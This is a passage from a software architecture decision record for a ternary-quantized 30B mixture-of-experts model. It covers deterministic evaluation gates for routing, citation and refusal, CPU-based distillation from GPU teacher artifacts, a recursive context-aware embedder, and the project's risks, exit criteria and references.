WASM SIMD128 is viable** for TL1/I2_S, with ~4-8x speedup over scalar WASM. TL2's 5-bit index is less natural for 128-bit SIMD but still implementable via two-stage lookup.\n\n---\n\n### AD-22: Evaluation Infrastructure and Behavioral Gates\n\n**Decision**: Define a three-gate behavioral evaluation framework with a structured trace schema, auto-labeling strategy, and Go/No-Go shipping rule. All gates are non-LLM-judge, deterministic, reproducible, and executable on CPU without external API calls. The system ships on integrity/citations/refusal behavior, not raw model quality benchmarks. Full GPU distillation (Phase 1+) is deferred; the eval infrastructure must validate Phase 0 and Phase 0.5 outputs at zero marginal cost.\n\n**Rationale**: Standard LLM evaluation relies on either (a) benchmark suites (HumanEval, MMLU) that measure general capability, or (b) LLM-as-judge approaches that are non-deterministic, expensive, and unsuitable for gating CI/CD pipelines. For Craftsman Ultra, the critical shipping question is not \"does it score well on benchmarks?\" but \"does it route correctly, cite honestly, and refuse when uncertain?\" These behavioral properties are testable with deterministic, cheap-to-run gate checks that compare model outputs against known ground-truth traces.\n\nThe three gates correspond to the three failure modes that would make the system untrustworthy regardless of benchmark scores:\n1. **Misrouting** \u2014 wrong experts selected, producing semantically wrong outputs from correct-seeming completions\n2. **Hallucinated citations** \u2014 model cites evidence that does not exist or does not support the claim\n3. **Over/under-refusal** \u2014 model refuses answerable questions or confidently answers indeterminate ones\n\n**Gate 1 \u2014 Routing Correctness**\n\nRun the FP16 teacher model once on the 200-prompt evaluation suite to record ground-truth routing traces: which experts are selected, with what softmax weights, per token per layer. Then run the ternary student model on the same prompts and compare routing decisions.\n\n| Parameter | Value |\n|-----------|-------|\n| Metric | `routing_agreement = count(same_topk_experts) / total_tokens` |\n| Comparison | Per-token, per-layer: do the top-K selected expert indices match between teacher and student? |\n| Pass threshold | >= 0.85 (85% of tokens route to the same expert set as the teacher) |\n| Fail action | Trigger targeted router repair via `ContrastiveTrainer` (AD-19, AD-20) with triplets generated from the misrouted token positions |\n\nTeacher traces are recorded once and cached as JSONL. The ternary model is evaluated against these cached traces on every pipeline run. Agreement is measured at the expert-set level (order-invariant): if teacher selects experts {2, 5} and student selects {5, 2}, this counts as agreement.\n\n**Gate 2 \u2014 Citation Correctness**\n\nFor retrieval-augmented responses, verify that citations are grounded in the actual retrieval corpus. This gate requires a labeled subset of the 200-prompt suite where prompts include retrieval context with known chunk IDs.\n\n| Parameter | Value |\n|-----------|-------|\n| Metric (precision) | `citation_precision = valid_citations / total_citations` |\n| Metric (recall) | `citation_recall = cited_evidence / relevant_evidence` (from labeled prompts) |\n| Validity check | For each cited `chunk_id`: (1) chunk exists in retrieval corpus, (2) cited span is an exact substring match OR Jaccard similarity between cited span and chunk content > 0.6 |\n| Pass threshold | Precision >= 0.90, Recall >= 0.70 |\n| Fail action | Trigger retrieval-first policy training via `GrpoOptimizer` (GRPO reward penalizes hallucinated citations, rewards grounded ones) |\n\nJaccard similarity is computed at the word level: `|intersection(words_cited, words_chunk)| / |union(words_cited, words_chunk)|`. This catches paraphrased citations while rejecting fabricated ones. The 0.6 threshold was chosen to allow minor rephrasing while catching wholesale fabrication.\n\n**Gate 3 \u2014 Refusal Calibration**\n\nTest the model's ability to refuse when evidence is insufficient and answer when evidence is adequate. Uses the auto-labeled prompt suite (see below) where each prompt is classified as `resolved`, `contested`, or `indeterminate`.\n\n| Parameter | Value |\n|-----------|-------|\n| Metric | `refusal_f1 = harmonic_mean(refusal_precision, refusal_recall)` |\n| Refusal detection | Output contains a refusal signal (configurable string set, e.g., \"I cannot determine\", \"insufficient evidence\", \"I'm not sure\", or a structured `` tag) |\n| Must-refuse rate | Model must refuse >= 80% of `indeterminate` prompts |\n| Must-answer rate | Model must NOT refuse >= 95% of `resolved` prompts |\n| Pass threshold | Refusal F1 >= 0.85 |\n| Fail action | Adjust refusal threshold in controller policy, or retrain controller via `GrpoOptimizer` with refusal-aware reward signal |\n\n`contested` prompts (sources actively contradict) are evaluated separately and not gated \u2014 they are tracked for monitoring but the correct behavior (refuse vs. present both sides) is domain-dependent.\n\n**Trace Schema (JSONL format)**\n\nEvery evaluation run produces a JSONL trace file where each line records per-token, per-layer routing decisions alongside response-level citation and refusal assessments:\n\n```json\n{\n \"prompt_id\": \"p-001\",\n \"token_idx\": 42,\n \"layer_idx\": 3,\n \"routing\": {\n \"topk_expert_ids\": [2, 5],\n \"topk_weights\": [0.62, 0.38],\n \"teacher_expert_ids\": [2, 5],\n \"teacher_weights\": [0.65, 0.35],\n \"agreement\": true\n },\n \"citations\": [\n {\"chunk_id\": \"doc-17-p3\", \"span\": \"exact quoted text\", \"valid\": true}\n ],\n \"refusal\": {\n \"should_refuse\": false,\n \"did_refuse\": false,\n \"correct\": true\n },\n \"coherence_score\": 0.91,\n \"stop_reason\": \"eos\"\n}\n```\n\nSchema notes:\n- `routing` is emitted per-token per-layer (one record per token-layer pair)\n- `citations` and `refusal` are emitted once per response (attached to the final token record, `stop_reason != null`)\n- `coherence_score` is the cosine similarity between student and teacher hidden states at the final layer \u2014 a cheap proxy for output quality without LLM-judge\n- Trace files are stored in `eval/traces/` (never in the project root) and named `{model_version}_{prompt_suite}_{timestamp}.jsonl`\n\n**Auto-Labeling Strategy**\n\nThe 200-prompt evaluation suite is labeled without manual annotation by using RuVector retrieval signals as proxy ground truth:\n\n| Label | Condition | Meaning | Gate Usage |\n|-------|-----------|---------|------------|\n| `resolved` | Evidence redundancy > 3 (multiple independent sources agree on the answer) | The question is clearly answerable from the corpus | Gate 3: model must answer (not refuse) |\n| `contested` | Cluster disagreement > 0.4 (sources actively contradict each other) | The question has conflicting evidence | Monitored only (not gated) |\n| `indeterminate` | Mincut fragility > 0.7 (removing a single source breaks the entire evidence chain) | The question cannot be reliably answered | Gate 3: model must refuse |\n\nThese labels also feed Gate 2:\n- `resolved` prompts provide the `relevant_evidence` denominator for citation recall (all supporting chunks should be cited)\n- `indeterminate` prompts should produce no citations (any citation on an indeterminate prompt is likely hallucinated)\n\nAuto-labeling is deterministic given a fixed retrieval corpus and runs on CPU via existing RuVector HNSW search. Labels are stored alongside prompts in the evaluation suite and versioned with the corpus.\n\n**Go/No-Go Rule**\n\nAll three gates must pass on the same evaluation suite run for the system to ship:\n\n```\nSHIP = (routing_agreement >= 0.85)\n AND (citation_precision >= 0.90)\n AND (citation_recall >= 0.70)\n AND (refusal_f1 >= 0.85)\n```\n\nIf any gate fails, the system cannot ship. The remediation path is gate-specific:\n\n| Failed Gate | Remediation | Component | Estimated Duration |\n|-------------|-------------|-----------|-------------------|\n| Routing Correctness | Router repair via `ContrastiveTrainer` with misrouted-token triplets | `training/contrastive.rs` | 1-4 hours |\n| Citation Correctness | Retrieval-first policy training via `GrpoOptimizer` (reward grounded citations) | `training/grpo.rs` | 2-8 hours |\n| Refusal Calibration | Adjust refusal threshold or retrain controller policy via `GrpoOptimizer` | `training/grpo.rs` + controller config | 1-2 hours |\n\nRe-evaluation after remediation must re-run all three gates (not just the failed one) to confirm no regression.\n\n**Implementation location:**\n\n| Component | Path | Lines | Notes |\n|-----------|------|-------|-------|\n| Gate runner orchestrator | `crates/ruvllm/src/eval/gates.rs` | ~300 | New module; runs all three gates, produces trace JSONL |\n| Routing trace recorder | `crates/ruvllm/src/eval/routing_trace.rs` | ~150 | Records teacher routing decisions; compares against student |\n| Citation validator | `crates/ruvllm/src/eval/citation_check.rs` | ~200 | Substring match + Jaccard similarity; corpus lookup |\n| Refusal detector | `crates/ruvllm/src/eval/refusal_detect.rs` | ~100 | Configurable refusal signal set; F1 computation |\n| Auto-labeler | `crates/ruvllm/src/eval/auto_label.rs` | ~150 | RuVector signal extraction; prompt classification |\n| Trace schema types | `crates/ruvllm/src/eval/trace.rs` | ~80 | Serde-annotated structs matching the JSONL schema |\n| **Total new code** | | **~980** | All CPU-only, no external dependencies |\n\n**Exit criteria:**\n- [ ] Teacher routing traces recorded for full 200-prompt suite and cached as JSONL\n- [ ] Gate 1 (routing agreement) runs in < 30 minutes on Mac Studio for 200 prompts\n- [ ] Gate 2 (citation correctness) validates chunk_id existence and span grounding\n- [ ] Gate 3 (refusal calibration) correctly classifies refusal signals in model output\n- [ ] Auto-labeler produces `resolved`/`contested`/`indeterminate` labels from RuVector signals\n- [ ] All gates produce deterministic results (same inputs = same pass/fail, bit-exact)\n- [ ] Trace JSONL files are written to `eval/traces/`, never to project root\n- [ ] Go/No-Go rule enforced: all three gates must pass on same run\n- [ ] Failed gate triggers correct remediation path (ContrastiveTrainer or GrpoOptimizer)\n- [ ] Total eval suite runtime < 2 hours on Mac Studio (CPU-only)\n\n---\n\n### AD-23: Phase-1 Distillation via External GPU Teacher Artifacts\n\n**Status**: Accepted\n\n**Context**: The Ultra 30B ternary MoE system prioritizes CPU-first inference, integrity-driven behavior, and low operational cost. Phase-1 performance goals focus on routing correctness after ternary quantization, citation-grounded answers, and calibrated refusal under thin or conflicting evidence. Full end-to-end GPU distillation of a 30B teacher is expensive, slow, and misaligned with the system's long-term architecture \u2014 where RuVector provides memory and structure, and the generator model is intentionally small and cheap. However, pure PTQ ternary conversion (Phase 0) introduces unacceptable degradation in MoE routing stability, answer fidelity on contested prompts, and refusal behavior calibration. We therefore require a limited refinement phase that recovers task-relevant behavior without committing to ongoing GPU dependence.\n\n**Decision**: Phase-1 distillation SHALL be implemented as a **one-time, external GPU artifact generation step**, followed by **local CPU-only refinement**.\n\n1. A full-precision FP16 teacher is executed once on a short-lived cloud GPU instance\n2. The teacher produces **behavioral artifacts, not trained weights**\n3. All refinement and training occurs locally on CPU using these artifacts\n4. GPU infrastructure is not a runtime dependency\n\n**Scope of Teacher Artifacts** (GPU job exports only):\n\n| Artifact | Content | Purpose |\n|----------|---------|---------|\n| **Routing Traces** | Per token, per MoE layer: top-k expert indices + routing probabilities/margins | Preserve expert selection behavior post-quantization |\n| **Sparse Logits** | Answer spans, refusal boundaries, contradiction disclosure points only | Guide LoRA residual correction and refusal calibration without full sequence distillation |\n| **Preference Labels** | Per-prompt classification: resolved / contested / indeterminate | Train stop decisions and disclosure behavior |\n\nArtifacts SHALL be stored as immutable, versioned files and reused across refinement runs.\n\n**CPU-Only Refinement Strategy** (using teacher artifacts):\n\n1. **Router Repair** \u2014 Match student top-k routing to teacher traces; penalize expert churn and margin collapse\n2. **Low-Rank Residual Correction** \u2014 Apply LoRA-style residuals to compensate ternary approximation error; enforce strict parameter budget\n3. **EWC++ Preservation** \u2014 Prevent catastrophic drift outside repaired regions\n4. **Policy Optimization** \u2014 Train RLM stop and retrieval behavior; optimize for citation correctness and calibrated refusal\n\nNo full expert weight updates are allowed in Phase-1.\n\n**Evaluation Gate**: A checkpoint SHALL NOT be promoted unless it passes behavioral evaluation, not reconstruction metrics. Mandatory metrics:\n\n| Metric | Criterion | Gate |\n|--------|-----------|------|\n| Routing correctness | Top-k overlap with teacher + margin correlation | Gate 1 (AD-22) |\n| Citation correctness | Span hash verification + evidence support via RuVector | Gate 2 (AD-22) |\n| Refusal calibration | Refuse on indeterminate, disclose on contested, pass on resolved | Gate 3 (AD-22) |\n\n`compute_dequant_error` is a sanity check only, not a promotion criterion.\n\n**Acceptance Criteria**:\n\n- [ ] System passes the 200-prompt disagreement suite\n- [ ] Routing correctness meets Gate 1 threshold (>= 0.85)\n- [ ] Citation precision exceeds 0.90 (Gate 2 precision target)\n- [ ] Refusal behavior aligns with RuVector coherence signals (Gate 3 F1 >= 0.85)\n- [ ] Results remain stable under 10% corpus perturbation\n- [ ] GPU artifact generation completes in single cloud session (< 4 hours)\n- [ ] CPU refinement reproducible without GPU access\n\n**Alternatives Considered**:\n\n| Alternative | Verdict | Reason |\n|-------------|---------|--------|\n| Full GPU distillation | Rejected | High cost, long iteration cycles, misalignment with CPU-first design |\n| Pure PTQ without refinement | Rejected | Unacceptable routing instability, incorrect refusal behavior, citation degradation |\n| Continuous GPU shadow training | Rejected | Operational complexity, long-term infrastructure lock-in |\n\n**Consequences**:\n\n- *Positive*: GPU cost is bounded and minimal; refinement is repeatable and auditable; CPU-first deployment remains intact; system behavior aligns with integrity goals; distillation artifacts are reusable\n- *Negative*: General language quality parity with FP16 teacher is not guaranteed; some PTQ loss may remain in non-critical behaviors; requires building custom evaluation infrastructure (addressed by AD-22)\n- *Note*: This ADR does not preclude a future Phase-2 distillation if product requirements shift toward general language parity. Phase-2 would be a separate decision\n\n---\n\n### AD-24: RLM-Style Recursive Sentence Transformer Embedder\n\n**Status**: Accepted\n\n**Context**: The Craftsman Ultra system uses RuVector for evidence retrieval, cluster analysis, contradiction detection, and mincut fragility scoring. Standard sentence transformers produce embeddings in a single forward pass \u2014 one chunk in, one vector out. This works for basic retrieval but fails at three critical boundaries:\n\n1. **Contradiction boundaries**: Two chunks with opposing claims embed near each other because they share vocabulary, despite being semantically opposed\n2. **Domain drift**: Embeddings trained on general corpora perform poorly when the corpus shifts to a specialized domain (legal, medical, code)\n3. **Context blindness**: The embedding of a chunk is independent of its neighborhood, losing structural signals that RuVector already knows (entity links, claim chains, cluster membership)\n\nA normal embedding pipeline cannot distinguish \"Drug X cures condition Y\" from \"Drug X does NOT cure condition Y\" \u2014 they embed almost identically. The system needs embeddings that reflect the structural position of a chunk within the evidence graph, not just its surface semantics.\n\n**Decision**: Implement an **RLM-style recursive embedder** \u2014 not a new architecture, but an inference strategy that wraps any base sentence transformer in a short iterative loop that retrieves context, decomposes, re-embeds, and merges.\n\n**Core Loop** (bounded to 2-3 iterations):\n\n```\nState: { text, intent, neighbors, candidate_embeddings, iteration, stop_reason }\n\n1. Embed the base chunk \u2192 base_embedding\n2. Retrieve k nearest neighbors from RuVector \u2192 neighbors[]\n3. Normalize/summarize chunk with neighbor context \u2192 contextualized_text\n4. Re-embed the normalized view \u2192 ctx_embedding\n5. If contested (low-cut boundary), embed both \u2192 cluster_a_emb, cluster_b_emb\n sides of the disagreement separately\n6. Merge into final representation \u2192 final_embedding + metadata\n```\n\n**Output Schema**:\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `embedding` | `Vec` | Final merged embedding vector |\n| `confidence` | `f32` | Embedding stability across iterations (cosine similarity between iteration N and N-1) |\n| `evidence_neighbor_ids` | `Vec` | RuVector chunk IDs used as context |\n| `contradiction_flags` | `Vec` | Per-neighbor: true if neighbor is in opposing cluster |\n| `cluster_id` | `Option` | Primary cluster assignment |\n| `stop_reason` | `StopReason` | Why the loop terminated: `Converged`, `MaxIterations`, `Contested` |\n\n**Three Embedding Variants**:\n\n| Variant | Conditioning | Use Case | Output |\n|---------|-------------|----------|--------|\n| **A: Query-Conditioned** | Query text + neighborhood | Retrieval under a specific query | Embedding optimized for that query's intent |\n| **B: Corpus-Conditioned** | Stable neighbors + entity graph | Corpus indexing | Embedding stable over time, less sensitive to local phrasing |\n| **C: Contradiction-Aware Twin** | Both sides of a low-cut boundary | Disputed claims | Bimodal representation: one embedding per cluster side |\n\n**Merge Rule** (auditable, not learned):\n\n```\nfinal = normalize(w0 * base + w1 * ctx + w2 * anti)\n```\n\nWhere `anti` is the embedding of the strongest counter-cluster neighbor set. Weights can be fixed (`w0=0.6, w1=0.3, w2=0.1`) or learned with a small regression on the eval set.\n\n**Training Strategy** (minimal, no full model training):\n\nOnly three components are trainable:\n1. **Merge weights** (`w0, w1, w2`) \u2014 3 parameters, learned via grid search or small regression\n2. **Stop policy** \u2014 when to terminate the loop (convergence threshold on cosine similarity between iterations)\n3. **Adapter layer** \u2014 optional small linear layer on top of base embeddings for domain adaptation (rank-4 LoRA or single linear)\n\n**Evaluation Criteria**:\n\n| Metric | Definition | Target |\n|--------|-----------|--------|\n| Top-k retrieval accuracy | Correct chunk in top-k results | Improvement over single-pass baseline |\n| False neighbor rate | Contradicting chunks incorrectly ranked as similar | Reduction vs baseline |\n| Cluster purity | Intra-cluster coherence after re-embedding | Improvement vs baseline |\n| Contradiction separation | Cosine distance between opposing claim embeddings | > 0.3 (vs ~0.05 for single-pass) |\n| Stability under perturbation | Embedding change when 10% of corpus is modified | < 0.05 cosine drift |\n| Latency per embedding | Wall time including retrieval + re-embedding | < 50ms for 2 iterations on target hardware |\n\n**Appliance Fit** (CPU-first):\n\n- Small base embedder model (e.g., 22M-110M params)\n- 2-3 passes maximum per chunk\n- RuVector supplies all context (no additional retrieval infrastructure)\n- Ternary quantization of the base embedder is possible (future AD)\n- Compatible with WASM deployment for browser-side embedding\n\n**Acceptance Criteria**:\n\n- [ ] On a held-out corpus slice, RLM-style embedder improves top-k retrieval accuracy vs single-pass baseline\n- [ ] False neighbor matches near contradiction boundaries are reduced\n- [ ] Latency stays within budget (< 50ms for 2 iterations on target hardware)\n- [ ] Memory usage does not exceed appliance budget\n- [ ] Variant C produces measurably separated embeddings for known contradictions\n- [ ] Merge weights are interpretable and auditable (no black-box learned fusion)\n\n---\n\n## Consequences\n\n### Positive\n\n1. **CPU-only deployment**: 30B-class model running on commodity hardware without GPU\n2. **Energy efficiency**: 55-82% reduction in inference energy vs FP16\n3. **Memory efficiency**: ~8GB vs ~60GB for FP16 30B model (7.5x reduction)\n4. **Multiplication-free expert GEMM**: Integer addition only in expert forward passes\n5. **SONA compatibility**: MicroLoRA adaptation preserves per-session learning\n6. **GGUF ecosystem**: Compatible with existing model distribution infrastructure\n7. **Incremental path**: Phase 0 ($0) validates pipeline; Phase 0.5 ($0) adds RLM quality boost; Phase 1 ($1,300) delivers production quality; Phases 2-3 optimize\n8. **~70% RLM code reuse**: GRPO, EWC++, ContrastiveTrainer, MemoryDistiller, PolicyStore are production-tested \u2014 only BitLinear layer and orchestrator are net-new\n9. **Adaptive distillation**: GRPO reward scaling dynamically focuses compute on hard-to-distill experts\n10. **Cross-expert stability**: EWC++ Fisher diagonal prevents catastrophic forgetting during sequential expert distillation\n11. **Learned quantization policies**: PolicyStore persists per-layer ternary scale distributions for reproducible future distillation runs\n12. **Expert-parallel distillation**: Independent expert FFNs enable rayon-parallel distillation across CPU cores\n13. **Phase 0 de-risks Phase 1 at zero cost**: Mac Studio PTQ prototype validates entire inference pipeline (GGUF \u2192 dequant \u2192 kernel \u2192 MoE \u2192 generation) for $0 before committing $1,300+ to cloud GPU distillation\n14. **Existing GGUF ecosystem**: Community-published GLM-4.7-Flash GGUFs (bartowski, unsloth) available as comparison baselines\n15. **Phase 0.5 RLM refinement at $0**: Existing MicroLoRA + GRPO + EWC++ + ContrastiveTrainer stack provides ~10-15 percentage point quality recovery over raw PTQ with zero new training code, running entirely on Mac Studio\n16. **100% RLM reuse for Phase 0.5**: No new training infrastructure needed \u2014 all 7 RLM components are production-tested and wire together directly\n17. **SIMD-only Phase 0.5**: Entire RLM refinement pipeline runs on pure CPU SIMD (NEON on aarch64) without Metal GPU \u2014 only ~2-3x slower than Metal, extends platform support to Linux ARM64 and (with scalar fallback) x86\n18. **Zero-config SIMD mode**: All training components (MicroLoRA, TrainingPipeline, EwcRegularizer, GrpoOptimizer) are already GPU-agnostic; only `ContrastiveTrainer.use_metal = false` needed for full SIMD-only execution\n19. **WASM browser deployment**: Native Rust kernels compile to WASM SIMD128 via Cargo feature flags, enabling in-browser ternary inference at ~20-40 tok/s without server roundtrip\n20. **Single-source dual-target**: One Rust codebase compiles to both native SIMD (NEON/AVX2/AVX512) and WASM SIMD128, eliminating the need for separate C++ and JS codebases\n21. **Safe Rust kernels**: Following R3-Engine's approach, production kernels can be 100% Safe Rust (no `unsafe` in hot path), eliminating entire classes of memory safety bugs vs bitnet.cpp's C++\n22. **Existing Rust ecosystem**: R3-Engine (Apache-compatible) and bitnet.rs (Apache 2.0) provide proven reference implementations to accelerate kernel development\n23. **Deterministic behavioral gates**: Three non-LLM-judge evaluation gates (routing, citation, refusal) provide reproducible pass/fail shipping decisions without expensive API calls or non-deterministic judge models\n24. **Structured trace schema**: JSONL trace format captures per-token routing, per-response citation, and refusal decisions in a single auditable artifact \u2014 enables regression detection across model versions\n25. **Zero-annotation auto-labeling**: RuVector retrieval signals (evidence redundancy, cluster disagreement, mincut fragility) classify prompts as resolved/contested/indeterminate without human annotation effort\n26. **Gate-specific remediation**: Each failed gate maps to a concrete repair action using existing RLM components (ContrastiveTrainer for routing, GrpoOptimizer for citations and refusal), avoiding manual debugging cycles\n27. **CPU-only evaluation**: Full eval suite runs on Mac Studio in < 2 hours with no cloud GPU or external API dependency, keeping the evaluation loop at $0 marginal cost\n28. **Bounded GPU cost**: Phase-1 distillation requires only a single short-lived cloud GPU session to generate behavioral artifacts (routing traces, sparse logits, preference labels) \u2014 no ongoing GPU dependency\n29. **Artifact reusability**: Teacher artifacts are immutable and versioned; CPU refinement runs can be repeated, tuned, and audited without re-running the GPU job\n30. **Behavioral distillation**: Distilling routing decisions and refusal signals rather than full logit sequences aligns training objectives with the system's integrity-first design goal\n31. **RLM-style embeddings**: Recursive context-aware embeddings improve retrieval accuracy and contradiction separation without requiring a larger embedding model \u2014 inference strategy, not new architecture\n32. **Contradiction-aware twin embeddings**: Variant C produces bimodal representations at low-cut boundaries, preserving disagreement structure in the embedding space for downstream decision-making\n33. **Minimal training surface**: Only 3 merge weights + stop policy + optional adapter need training for the RLM embedder \u2014 no full model fine-tuning required\n\n### Negative\n\n1. **Training cost**: Even distillation requires 800-1,600 A100-hours (~$2K-$5K cloud cost)\n2. **Custom kernels**: Must implement and maintain platform-specific SIMD kernels in Rust\n3. **Quality gap**: Phase 1 may be 5-10% below GLM-4.7-Flash on some benchmarks\n4. **No GPU acceleration**: BitNet kernels are CPU-specific; GPU path requires separate optimization\n5. **Mixed-precision complexity**: Router (FP16) + experts (ternary) + attention (FP16/ternary) adds dispatch complexity\n6. **WASM SIMD128 ceiling**: Fixed 128-bit width limits throughput vs native AVX2 (256-bit) or AVX512 (512-bit); no popcount instruction requires emulation; single-threaded unless SharedArrayBuffer enabled \u2014 expect ~20-40 tok/s vs ~80-117 tok/s native\n7. **RLM scale gap**: Existing `RealContrastiveTrainer` targets 0.5B models (embedding_dim=896); scaling to 30B requires distributed data loading and increased batch sizes\n8. **No x86 SIMD kernels**: Current `kernels/matmul.rs` only implements NEON (aarch64); x86 falls to scalar fallback (~3-5x slower than NEON). Adding AVX2/AVX512 kernels would make x86 SIMD-only mode competitive but is not yet implemented\n9. **Teacher trace dependency**: Gate 1 requires a full FP16 teacher forward pass to generate ground-truth routing traces; this must be re-run whenever the evaluation suite changes or the teacher model is updated\n10. **Auto-label noise**: RuVector-derived labels (evidence redundancy, mincut fragility) are proxies for true answerability; edge cases near thresholds (e.g., fragility = 0.69 vs 0.71) may produce inconsistent labels across corpus versions\n11. **200-prompt suite coverage**: A fixed 200-prompt suite may not cover all failure modes; adversarial or distribution-shifted prompts could pass all gates yet fail in production\n12. **General quality ceiling**: Phase-1 behavioral distillation intentionally does not target full language quality parity with FP16 teacher; non-critical behaviors may remain degraded\n13. **Teacher artifact staleness**: If the evaluation prompt suite or teacher model changes, routing traces and preference labels must be regenerated on GPU\n\n### Risks\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| Phase 0 PTQ quality too low for meaningful testing | Medium | Low | Phase 0 is for kernel/pipeline validation, not quality; upgrade to 0D (BitDistill Lite) if needed |\n| MoE routing degrades with ternary experts | Medium | High | Phase 0 detects routing issues early; Phase 1 validates routing; router stays FP16; AD-12 contrastive validation |\n| bitnet.cpp kernel translation to Rust introduces bugs | Medium | Medium | Phase 0 PTQ model provides cheap test fixture; extensive kernel unit tests; validate against reference impl |\n| Distillation fails to converge for MoE | Low | High | GRPO reward scaling + per-expert distillation fallback; EWC++ stability (AD-13) |\n| GLM-4.7-Flash architecture changes break compatibility | Low | Medium | Pin to specific HF revision; architecture abstraction layer |\n| IQ1_S GGUF format insufficient for absmean metadata | Medium | Low | Register custom GGUF type (BITNET_T158); backward-compatible extension |\n| EWC++ Fisher accumulation OOM at 30B scale | Medium | Medium | Sparse Fisher (top-k diagonal entries); per-expert rather than global Fisher |\n| GRPO reward signal too noisy for distillation | Low | Low | Fall back to static KD loss; GRPO reward as optional multiplier |\n| `RealContrastiveTrainer` doesn't scale to 30B | Medium | Medium | Extract training loop; replace Candle Linear with BitLinear; keep optimizer/scheduler |\n| Calibration data bias in Phase 0 PTQ | Low | Low | Use diverse calibration corpus (WikiText + code); measure variance across calibration sets |\n| Auto-label thresholds misclassify edge-case prompts | Medium | Medium | Track label stability across corpus versions; flag prompts with signals near threshold boundaries for manual review |\n| 200-prompt suite insufficient for production coverage | Low | Medium | Expand suite iteratively as production failure modes are discovered; run gates on user-submitted adversarial prompts quarterly |\n| Teacher routing traces become stale after model update | Low | Low | Re-record teacher traces as part of every model version bump; cache invalidation keyed on teacher model hash |\n\n---\n\n## Validation Criteria\n\n### Phase 0 Exit Criteria\n- [ ] Absmean ternary quantizer produces valid {-1, 0, +1} weights from GLM-4.7-Flash FP16\n- [ ] Quantization runs successfully on Mac Studio via mmap (no cloud GPU required)\n- [ ] GGUF export with BITNET_T158 tensor type loads without error in BitNetBackend\n- [ ] TL1 NEON kernel produces non-zero, bounded output on PTQ ternary weights\n- [ ] MoE routing selects experts (not all-zero or all-same-expert degenerate routing)\n- [ ] End-to-end token generation produces coherent (if degraded) text\n- [ ] Memory usage measured and documented for real MoE activation patterns\n- [ ] Throughput measured: tok/s on Mac Studio (ARM NEON) and optionally x86 AVX2\n- [ ] Baseline quality benchmarks recorded (HumanEval, MMLU) as Phase 1 improvement target\n- [ ] Total Phase 0 cost = $0 (local Mac Studio execution)\n\n### Phase 0.5 Exit Criteria\n- [ ] MicroLoRA adapters (rank-2) attached to all expert FFN layers\n- [ ] Router fine-tuning via ContrastiveTrainer restores >=90% routing accuracy vs teacher\n- [ ] GRPO reward signal shows positive quality improvement over Phase 0 baseline\n- [ ] EWC++ prevents router fix from degrading already-correct routing paths (Fisher delta < 5%)\n- [ ] HumanEval pass@1 >= 45% (up from Phase 0 baseline of ~35-45%)\n- [ ] MicroLoRA + ternary inference produces coherent code completions\n- [ ] Training completes on Mac Studio within 14 days\n- [ ] MemoryDistiller has extracted KeyLessons identifying worst-degraded experts\n- [ ] PolicyStore contains optimized TernaryScale entries for all refined layers\n- [ ] Total Phase 0.5 cost = $0 (local Mac Studio execution)\n- [ ] GGUF re-exported with optimized router, scale factors, and LoRA adapter weights\n\n### Phase 1 Exit Criteria\n- [ ] BitNet backend loads GGUF with ternary expert weights\n- [ ] TL1 kernel produces bit-exact output vs reference float implementation\n- [ ] Decode speed >= 5 tok/s on x86_64 AVX2 (AMD Ryzen 7 / Intel i7 class)\n- [ ] HumanEval pass@1 >= 50% (GLM-4.7-Flash baseline: ~65%)\n- [ ] Memory usage < 10GB for 4K context inference\n- [ ] GRPO-guided expert distillation converges (loss < 0.5 for all experts)\n- [ ] EWC++ prevents cross-expert interference (Fisher-regularized loss delta < 5%)\n- [ ] Contrastive router validation: >= 95% expert routing accuracy vs teacher\n- [ ] PolicyStore contains TernaryScale entries for all distilled expert layers\n\n### Phase 2 Exit Criteria\n- [ ] Full ternary model (attention + experts) running on CPU\n- [ ] Decode speed >= 8 tok/s on x86_64 AVX2\n- [ ] SWE-bench Verified >= 52% (90%+ of GLM-4.7-Flash's 59.2%)\n- [ ] SONA MicroLoRA adaptation functional on ternary base\n- [ ] MemoryDistiller has extracted >= 50 KeyLessons from distillation trajectories\n- [ ] GRPO adaptive KL stabilizes below kl_target (0.02) for all experts\n\n### Phase 3 Exit Criteria\n- [ ] Native-trained model matches or exceeds GLM-4.7-Flash benchmarks\n- [ ] Published on HuggingFace (ruv/craftsman-ultra-30b-1bit)\n- [ ] GGUF + bitnet kernel distributed via npm/packages/ruvllm\n- [ ] Full distillation pipeline reproducible from PolicyStore policies (no manual tuning)\n\n---\n\n## References\n\n1. Ma, S. et al., \"The Era of 1-bit LLMs: All Large Language Models are in 1.58 Bits\" (arXiv:2402.17764, Feb 2024)\n2. Ma, S. et al., \"BitNet b1.58 2B4T Technical Report\" (arXiv:2504.12285, Apr 2025)\n3. Microsoft Research, \"bitnet.cpp: Efficient Edge Inference for Ternary LLMs\" (arXiv:2502.11880, Feb 2025)\n4. Microsoft, bitnet.cpp \u2014 https://github.com/microsoft/BitNet\n5. Zhipu AI, GLM-4.7-Flash \u2014 https://huggingface.co/zai-org/GLM-4.7-Flash\n6. Zhipu AI, \"GLM-4.7: Advancing the Coding Capability\" \u2014 https://z.ai/blog/glm-4.7\n7. RuvLLM ADR-002: RuvLLM Integration with Ruvector\n8. RuvLLM GGUF Quantization Module: `crates/ruvllm/src/gguf/quantization.rs`\n9. Microsoft, bitnet-b1.58-2B-4T-gguf \u2014 https://huggingface.co/microsoft/bitnet-b1.58-2B-4T-gguf\n10. RuvLLM GRPO Implementation: `crates/ruvllm/src/training/grpo.rs`\n11. RuvLLM RealContrastiveTrainer: `crates/ruvllm/src/training/real_trainer.rs`\n12. RuvLLM EWC++ Training Pipeline: `crates/ruvllm/src/lora/training.rs`\n13. RuvLLM Memory Distillation: `crates/ruvllm/src/reasoning_bank/distillation.rs`\n14. RuvLLM Policy Store: `crates/ruvllm/src/policy_store.rs`\n15. RuvLLM Contrastive Training: `crates/ruvllm/src/training/contrastive.rs`\n16. PT-BitNet: \"Scaling up the 1-Bit large language model with post-training quantization\" (2025) \u2014 https://www.sciencedirect.com/science/article/abs/pii/S089360802500735X\n17. BitDistill: \"BitNet Distillation\" (arXiv:2510.13998, Oct 2025) \u2014 https://arxiv.org/html/2510.13998v1\n18. bartowski, GLM-4.7-Flash-GGUF quantizations \u2014 https://huggingface.co/bartowski/zai-org_GLM-4.7-Flash-GGUF\n19. unsloth, GLM-4.7-Flash-GGUF dynamic quantizations \u2014 https://huggingface.co/unsloth/GLM-4.7-Flash-GGUF\n20. llama.cpp IQ1_S blind testing (Discussion #5962) \u2014 https://github.com/ggml-org/llama.cpp/discussions/5962\n21. 